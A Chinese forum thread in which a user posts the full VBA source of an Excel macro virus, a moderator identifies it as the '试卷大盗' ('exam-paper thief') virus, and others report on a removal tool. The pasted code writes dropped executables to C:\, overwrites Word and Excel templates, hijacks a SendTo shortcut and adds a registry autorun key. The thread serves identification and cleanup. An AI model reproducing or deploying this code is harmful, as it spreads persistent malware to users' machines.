宏病毒专杀工具（新增查杀K4病毒）

qdzhxg

病毒的代码如下：

Private Sub createcabfile()
Dim ch As Byte
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set w = CreateObject("wscript.shell")
myfolder = w.SpecialFolders("Templates") & "\Software\"
If Not fso.folderexists(myfolder) Then
fso.createfolder myfolder
End If
For i = 1 To Workbooks.Count
If Workbooks(i).Name = "normal.xlm" Then
Workbooks(i).Close
fso.deletefile Application.StartupPath & "\normal.xlm"
End If
Next
For i = 1 To Workbooks.Count
If Workbooks(i).Name = "norma1.xlm" Then
GoTo a1
End If
Next
cabfile = "c:\cab.cab"
If Not fso.fileexists(Application.StartupPath & "\norma1.xlm") Then
fso.Delete cabfile
Open cabfile For Binary Access Write As #1
For i = 1 To 150
hv = ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Cells(i, 2).Value
n = 1
m = InStr(hv, " ")
Do While m > 0
ch = CByte(Mid(hv, n, m - n))
Put #1, , ch
n = m + 1
m = InStr(n, hv, " ")
Loop
Next
Close #1
w.Run "%COMSPEC% /c attrib -s -h c:\setflag.exe", 0, True
w.Run "%COMSPEC% /c attrib -s -h c:\sendto.exe", 0, True
w.Run "%COMSPEC% /c extrac32 /E /Y /L c:\ c:\cab.cab", 0, True
w.Run "%COMSPEC% /c extract /E /Y /L c:\ c:\cab.cab", 0, True
fso.deletefile cabfile
fso.copyfile "c:\normal.dot", myfolder, True
Set word = CreateObject("word.application")
ntpath = word.NormalTemplate.Path & "\"
word.Quit
fso.copyfile "c:\normal.dot", ntpath, True
fso.copyfile "c:\norma1.xlm", Application.StartupPath & "\", True
fso.copyfile "c:\internet.exe", fso.getspecialfolder(1) & "\"
Set fold = fso.getfolder(w.SpecialFolders("SendTo"))
For Each ff In fold.Files
If InStr(ff.Name, "软盘") > 0 Then
Set lnk = w.CreateShortcut(fold.Path & "\" & ff.Name)
lnk.TargetPath = "c:\sendto.exe"
lnk.IconLocation = "shell32.dll,6"
lnk.Save
GoTo e2
End If
Next
e2:
fso.deletefile "c:\normal.dot"
fso.deletefile "c:\norma1.xlm"
fso.deletefile "c:\internet.exe"
w.Run "%COMSPEC% /c attrib +s +h c:\setflag.exe", 0, True
w.Run "%COMSPEC% /c attrib +s +h c:\sendto.exe", 0, True
w.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe", "internet.exe"
w.regdelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internat.exe"
End If
Workbooks.Open Application.StartupPath & "\norma1.xlm"
ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Columns(2).Copy Workbooks("norma1.xlm").Sheets("(m1)_(m2)_(m3)").Columns(2)
Workbooks("norma1.xlm").Save
fso.copyfile Application.StartupPath & "\norma1.xlm", myfolder, True
a1:
fso.deletefile "c:\excel.txt"
Application.DisplayAlerts = False
For i = 1 To ThisWorkbook.Sheets.Count
If Left(ThisWorkbook.Sheets(i).Name, 3) = "模块表" Then
ThisWorkbook.Sheets(i).Delete
End If
Next
Application.DisplayAlerts = True
ThisWorkbook.Saved = True
End Sub

qdzhxg

有人可以回答吗，谢谢

baomaboy

qdzhxg 发表于 2012-6-14 14:29
病毒的代码如下：

Private Sub createcabfile()

这个是“试卷大盗”

http://club.excelhome.net/thread-58223-1-1.html
http://club.excelhome.net/forum.php?mod=viewthread&tid=829975&page=1#pid5677918
http://club.excelhome.net/thread-814790-1-1.html
http://club.excelhome.net/thread-58118-1-1.html
http://club.excelhome.net/thread-832757-1-1.html

飞翔的肥肉

谢谢斑竹啊，多亏了你老人家，问题解决了

daheng131

我刚才下载了，可打开后，我发现只能查杀我打开后的中毒文件，没有打开的中毒文件并不能打开，是不是这个样子啊，尊敬的楼主，还是我不会用？

sup_rabbit

去删除了注册表，也下载了杀毒软件.XLA，双击了，没效果啊。

w_sure_241

今天用此软件杀掉STARTUP 和k4 病毒，感谢楼主。

m_t5

谢谢了哈！

四月星空

怎么打开什么都没有啊？

slywtj123

谢谢分享！